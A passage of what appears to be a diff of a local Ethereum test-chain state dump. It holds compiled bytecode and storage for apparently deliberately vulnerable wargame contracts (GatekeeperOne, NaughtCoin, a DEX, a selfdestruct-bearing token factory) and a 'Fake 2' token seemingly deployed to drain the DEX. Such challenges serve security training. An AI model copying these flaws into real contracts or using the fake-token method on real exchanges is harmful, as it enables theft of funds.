06f36":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea2646970667358221220ccf66bca95039966517ea2fe2472124ee112d66358476470bc968590d2a6629364736f6c63430008150033","storage":{"0x2":"0x6e","0x3":"0x546f6b656e20310000000000000000000000000000000000000000000000000e","0x4":"0x544b4e3100000000000000000000000000000000000000000000000000000008","0x5":"0x851356ae760d987e095750cceb3bc6014560891c","0x24d8ad0e0f022cabdef580ec406e7efc29bf1b1d099232eae8d501810a9c982f":"0x3e8","0x5bc9f748056d7d2b880339acf2f11cd298f14d86229bc64da98678b864592385":"0x2d","0x60339cdee841ef45946edbcf5f8e8f995d8f7fcec4879b7742b313ef8d87c7cf":"0x0","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x0","0x9d2e12c8df9e5f7f73782cb113e74cfc89c5120b942730fc9af0b92b093bb1af":"0x0","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x41"}},"0xf56aa3aceddf88ab12e494d0b96da3c09a5d264e":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea26469706673582212200182eba0a0f7f4e4d9f250b1fa6c58e2ce02a170adbbcea922a3acf0c104d61b64736f6c63430008150033","storage":{"0x2":"0x64","0x3":"0x46616b652032000000000000000000000000000000000000000000000000000c","0x4":"0x46434b3200000000000000000000000000000000000000000000000000000008","0x5":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","0x63fd3740feaeb2447e6be1f6ce907e3eadb872fff1aefe03b486ff8244ea61a4":"0x3e8","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x64"}}}} \ No newline at end of file +{"accounts":{"0x0000000000000000000000000000000000000000":{"nonce":0,"balance":"0x70fa8c1833d910","code":"0x","storage":{}},"0x0000000000000000000000000000000000000a9e":{"nonce":0,"balance":"0x2710","code":"0x","storage":{}},"0x0165878a594ca255338adfa4d48449f69242eb8f":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c806318160ddd1461004657806370a0823114610060578063a9059cbb14610086575b600080fd5b61004e6100c6565b60408051918252519081900360200190f35b61004e6004803603602081101561007657600080fd5b50356001600160a01b03166100cc565b6100b26004803603604081101561009c57600080fd5b506001600160a01b0381351690602001356100e7565b604080519115158252519081900360200190f35b60015481565b6001600160a01b031660009081526020819052604090205490565b33600090815260208190526040808220805484900390556001600160a01b03939093168152919091208054909101905560019056fea2646970667358221220713976285be691d42714c77e6b9e0fce7b85e3c16bb3e803dc78215d6463637564736f6c63430006060033","storage":{"0x1":"0x1406f40","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x1406f2c","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x14"}},"0x09635f643e140090a9a8dcd712ed6285858cebef":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063d23906fc14602d575b600080fd5b6092603836600460ae565b60408051606b60f91b602080830191909152602560fa1b602183015260609390931b6bffffffffffffffffffffffff19166022820152600160f81b6036820152815160178183030181526037909101909152805191012090565b6040516001600160a01b03909116815260200160405180910390f35b60006020828403121560bf57600080fd5b81356001600160a01b038116811460d557600080fd5b939250505056fea2646970667358221220627805644502e7ad3a57427367d8ea8c86758fe6102e750a469c5f1fdf24f55f64736f6c63430008150033","storage":{}},"0x14dc79964da2c08b23698b3d3cc7ca32193d9955":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x15d34aaf54267db7d7c367839aaf71a00a2c6a65":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c8063a035b1fe14610046578063a6f2ae3a14610062578063e852e7411461006c575b600080fd5b61004f60005481565b6040519081526020015b60405180910390f35b61006a610089565b005b6001546100799060ff1681565b6040519015158152602001610059565b6000339050600054816001600160a01b031663a035b1fe6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100f39190610185565b10158015610104575060015460ff16155b15610182576001805460ff1916811790556040805163501ad8ff60e11b815290516001600160a01b0383169163a035b1fe9160048083019260209291908290030181865afa15801561015a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017e9190610185565b6000555b50565b60006020828403121561019757600080fd5b505191905056fea2646970667358221220f53cdfac22d8ffc42b6222edc2b8bdba1d5991bb4ad5e48e9401d0d3263788fd64736f6c63430008150033","storage":{"0x0":"0x64"}},"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b146037578063dd365b8b146065575b600080fd5b6000546049906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b607b600080546001600160a01b03191633179055565b00fea264697066735822122094cdb713ee00d0fbfe350badad1f12d162e506d1c3532492a974dedc7d3b794964736f6c63430008150033","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"}},"0x23618e81e3f5cdf7f54c3d65f7fbc0abf5b21e8f":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x322813fd9a801c5507c9de605d63cea4f2ce6c44":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c80633beb26c414602d575b600080fd5b603d6038366004603f565b600055565b005b600060208284031215605057600080fd5b503591905056fea26469706673582212208b310ac75e1afd88ed47089679c64b52ace040c9e9143085827b9c7c1142f1ae64736f6c63430008150033","storage":{}},"0x36c02da8a0983159322a80ffe9f24b1acff8b570":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea26469706673582212202eb698520ba57ef5b4ae5abe8f0df0a86d94e3fce7312b274b9b3b0c908f0c5a64736f6c63430008150033","storage":{"0x2":"0x6e","0x3":"0x546f6b656e20310000000000000000000000000000000000000000000000000e","0x4":"0x544b4e3100000000000000000000000000000000000000000000000000000008","0x5":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","0x2314c4c26e1bbf91d9c6b25c404601851c24b2161f4438f53b17615999f1d8af":"0x0","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x0","0x756af353f56f684aa3fe3e4b3713ab1313420fed683b8a6084b2333635805ea6":"0x64","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0xa"}},"0x3aa5ebb10dc797cac828524e59a333d0a371443c":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100365760003560e01c80633370204e1461003b5780639db31d7714610063575b600080fd5b61004e610049366004610222565b61008e565b60405190151581526020015b60405180910390f35b600054610076906001600160a01b031681565b6040516001600160a01b03909116815260200161005a565b600032330361009c57600080fd5b611fff5a6100aa9190610253565b156100b457600080fd5b818060c01c61ffff168160c01c63ffffffff161461012b5760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c6964206761746554687265656044820152682070617274206f6e6560b81b60648201526084015b60405180910390fd5b60c081901c63ffffffff8116036101965760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201526820706172742074776f60b81b6064820152608401610122565b3261ffff168160c01c63ffffffff16146102065760405162461bcd60e51b815260206004820152602b60248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201526a207061727420746872656560a81b6064820152608401610122565b600080546001600160a01b031916321790556001915050919050565b60006020828403121561023457600080fd5b81356001600160c01b03198116811461024c57600080fd5b9392505050565b60008261027057634e487b7160e01b600052601260045260246000fd5b50069056fea264697066735822122042198ac9986db04f234891b50c17ed3fa2a356ee50453b17c1c3007ab66a9ea864736f6c63430008150033","storage":{}},"0x3c44cdddb6a900fa2b585dd299e03d12fa4293bc":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x4a679253410272dd5232b3ff7cf5dbb88f295319":{"nonce":2,"balance":"0x0","code":"0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80633894e51614610030575b600080fd5b61004361003e3660046100a5565b610045565b005b81338260405161005490610082565b6100609392919061015a565b604051809103906000f08015801561007c573d6000803e3d6000fd5b50505050565b610640806101c183390190565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156100b857600080fd5b823567ffffffffffffffff808211156100d057600080fd5b818501915085601f8301126100e457600080fd5b8135818111156100f6576100f661008f565b604051601f8201601f19908116603f0116810190838211818310171561011e5761011e61008f565b8160405282815288602084870101111561013757600080fd5b826020860160208301376000602093820184015298969091013596505050505050565b606081526000845180606084015260005b81811015610188576020818801810151608086840101520161016b565b50600060808285018101919091526001600160a01b03959095166020840152604083019390935250601f909101601f1916010191905056fe608060405234801561001057600080fd5b5060405161064038038061064083398101604081905261002f9161008e565b600061003b84826101fa565b506001600160a01b03909116600090815260016020526040902055506102b9565b634e487b7160e01b600052604160045260246000fd5b80516001600160a01b038116811461008957600080fd5b919050565b6000806000606084860312156100a357600080fd5b83516001600160401b03808211156100ba57600080fd5b818601915086601f8301126100ce57600080fd5b8151818111156100e0576100e061005c565b604051601f8201601f19908116603f011681019083821181831017156101085761010861005c565b8160405282815260209350898484870101111561012457600080fd5b600091505b828210156101465784820184015181830185015290830190610129565b600084848301015280975050505061015f818701610072565b93505050604084015190509250925092565b600181811c9082168061018557607f821691505b6020821081036101a557634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156101f557600081815260208120601f850160051c810160208610156101d25750805b601f850160051c820191505b818110156101f1578281556001016101de565b5050505b505050565b81516001600160401b038111156102135761021361005c565b610227816102218454610171565b846101ab565b602080601f83116001811461025c57600084156102445750858301515b600019600386901b1c1916600185901b1785556101f1565b600085815260208120601f198616915b8281101561028b5788860151825594840194600190910190840161026c565b50858210156102a95787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b610378806102c86000396000f3fe6080604052600436106100425760003560e01c8062f55d9d1461006b57806306fdde031461008d57806327e235e3146100b8578063a9059cbb146100f357600080fd5b366100665761005234600a610222565b336000908152600160205260409020819055005b600080fd5b34801561007757600080fd5b5061008b610086366004610257565b610113565b005b34801561009957600080fd5b506100a261011f565b6040516100af919061027b565b60405180910390f35b3480156100c457600080fd5b506100e56100d3366004610257565b60016020526000908152604090205481565b6040519081526020016100af565b3480156100ff57600080fd5b5061008b61010e3660046102c9565b6101ad565b806001600160a01b0316ff5b6000805461012c906102f5565b80601f0160208091040260200160405190810160405280929190818152602001828054610158906102f5565b80156101a55780601f1061017a576101008083540402835291602001916101a5565b820191906000526020600020905b81548152906001019060200180831161018857829003601f168201915b505050505081565b336000908152600160205260409020548111156101c957600080fd5b336000908152600160205260409020546101e490829061032f565b33600090815260016020526040808220929092556001600160a01b0393909316835290912055565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176102395761023961020c565b92915050565b6001600160a01b038116811461025457600080fd5b50565b60006020828403121561026957600080fd5b81356102748161023f565b9392505050565b600060208083528351808285015260005b818110156102a85785810183015185820160400152820161028c565b506000604082860101526040601f19601f8301168501019250505092915050565b600080604083850312156102dc57600080fd5b82356102e78161023f565b946020939093013593505050565b600181811c9082168061030957607f821691505b60208210810361032957634e487b7160e01b600052602260045260246000fd5b50919050565b818103818111156102395761023961020c56fea26469706673582212207f4c6c6dadf7413d03e7f978bed3b42dfc014ffd496f06a156234f154195770e64736f6c63430008150033a2646970667358221220b8b789618de2e8ef9f2d674f0073be46d0254e2812007eea5cfd4141eba4771064736f6c63430008150033","storage":{}},"0x4ed7c70f96b99c776995fb64377f0d4ab3b0e1c1":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c80633beb26c414602d575b600080fd5b603d6038366004603f565b600055565b005b600060208284031215605057600080fd5b503591905056fea26469706673582212208b310ac75e1afd88ed47089679c64b52ace040c9e9143085827b9c7c1142f1ae64736f6c63430008150033","storage":{}},"0x59b670e9fa9d0a427751af201d676719a970857b":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806348db5f891161008c578063a457c2d711610066578063a457c2d7146101dc578063a9059cbb146101ef578063d085835a14610202578063dd62ed3e1461020b57600080fd5b806348db5f891461018057806370a08231146101ab57806395d89b41146101d457600080fd5b806323b872dd116100c857806323b872dd146101425780632ff2e9dc14610155578063313ce5671461015e578063395093511461016d57600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f761021e565b604051610104919061075e565b60405180910390f35b61012061011b3660046107c8565b6102b0565b6040519015158152602001610104565b6002545b604051908152602001610104565b6101206101503660046107f2565b6102ca565b61013460065481565b60405160128152602001610104565b61012061017b3660046107c8565b6102ee565b600754610193906001600160a01b031681565b6040516001600160a01b039091168152602001610104565b6101346101b936600461082e565b6001600160a01b031660009081526020819052604090205490565b6100f7610310565b6101206101ea3660046107c8565b61031f565b6101206101fd3660046107c8565b61039f565b61013460055481565b610134610219366004610850565b6103e3565b60606003805461022d90610883565b80601f016020809104026020016040519081016040528092919081815260200182805461025990610883565b80156102a65780601f1061027b576101008083540402835291602001916102a6565b820191906000526020600020905b81548152906001019060200180831161028957829003601f168201915b5050505050905090565b6000336102be81858561040e565b60019150505b92915050565b6000336102d8858285610532565b6102e38585856105ac565b506001949350505050565b6000336102be81858561030183836103e3565b61030b91906108bd565b61040e565b60606004805461022d90610883565b6000338161032d82866103e3565b9050838110156103925760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6102e3828686840361040e565b6007546000906001600160a01b031633036103d25760055442116103c257600080fd5b6103cc8383610750565b506102c4565b6103dc8383610750565b5092915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166104705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610389565b6001600160a01b0382166104d15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610389565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061053e84846103e3565b905060001981146105a657818110156105995760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610389565b6105a6848484840361040e565b50505050565b6001600160a01b0383166106105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610389565b6001600160a01b0382166106725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610389565b6001600160a01b038316600090815260208190526040902054818110156106ea5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610389565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36105a6565b6000336102be8185856105ac565b600060208083528351808285015260005b8181101561078b5785810183015185820160400152820161076f565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107c357600080fd5b919050565b600080604083850312156107db57600080fd5b6107e4836107ac565b946020939093013593505050565b60008060006060848603121561080757600080fd5b610810846107ac565b925061081e602085016107ac565b9150604084013590509250925092565b60006020828403121561084057600080fd5b610849826107ac565b9392505050565b6000806040838503121561086357600080fd5b61086c836107ac565b915061087a602084016107ac565b90509250929050565b600181811c9082168061089757607f821691505b6020821081036108b757634e487b7160e01b600052602260045260246000fd5b50919050565b808201808211156102c457634e487b7160e01b600052601160045260246000fdfea26469706673582212205ec5c21fe5f3811f7cb56795da6886e37892ef2eb9ddd62896ca1b9adcbdf36864736f6c63430008150033","storage":{"0x2":"0xd3c21bcecceda1000000","0x3":"0x4e6175676874436f696e00000000000000000000000000000000000000000014","0x4":"0x3078300000000000000000000000000000000000000000000000000000000006","0x5":"0x77be0362","0x6":"0xd3c21bcecceda1000000","0x7":"0xa0ee7a142d267c1f36714e4a8f75612f20a79720","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0xd3c21bcecceda1000000"}},"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b1461012f578063cbc7854e14610140578063d21220a714610153578063df791e5014610166578063f2fde38b14610179578063f7888aec1461018c57600080fd5b8063095ea7b3146100ae57806325be124e146100c3578063264e8893146100f3578063635bc0c214610106578063715018a614610127575b600080fd5b6100c16100bc366004610800565b61019f565b005b6002546100d6906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100c1610101366004610800565b61026f565b61011961011436600461082a565b6102ef565b6040519081526020016100ea565b6100c16103de565b6000546001600160a01b03166100d6565b6100c161014e366004610866565b6103f2565b6001546100d6906001600160a01b031681565b6100c161017436600461082a565b610428565b6100c1610187366004610899565b61064a565b61011961019a366004610866565b6106c3565b60015460405163e1f21c6760e01b81526001600160a01b039091169063e1f21c67906101d3903390869086906004016108b4565b600060405180830381600087803b1580156101ed57600080fd5b505af1158015610201573d6000803e3d6000fd5b505060025460405163e1f21c6760e01b81526001600160a01b03909116925063e1f21c679150610239903390869086906004016108b4565b600060405180830381600087803b15801561025357600080fd5b505af1158015610267573d6000803e3d6000fd5b505050505050565b61027761073a565b6040516323b872dd60e01b81526001600160a01b038316906323b872dd906102a7903390309086906004016108b4565b6020604051808303816000875af11580156102c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ea91906108d8565b505050565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610336573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061035a9190610901565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa15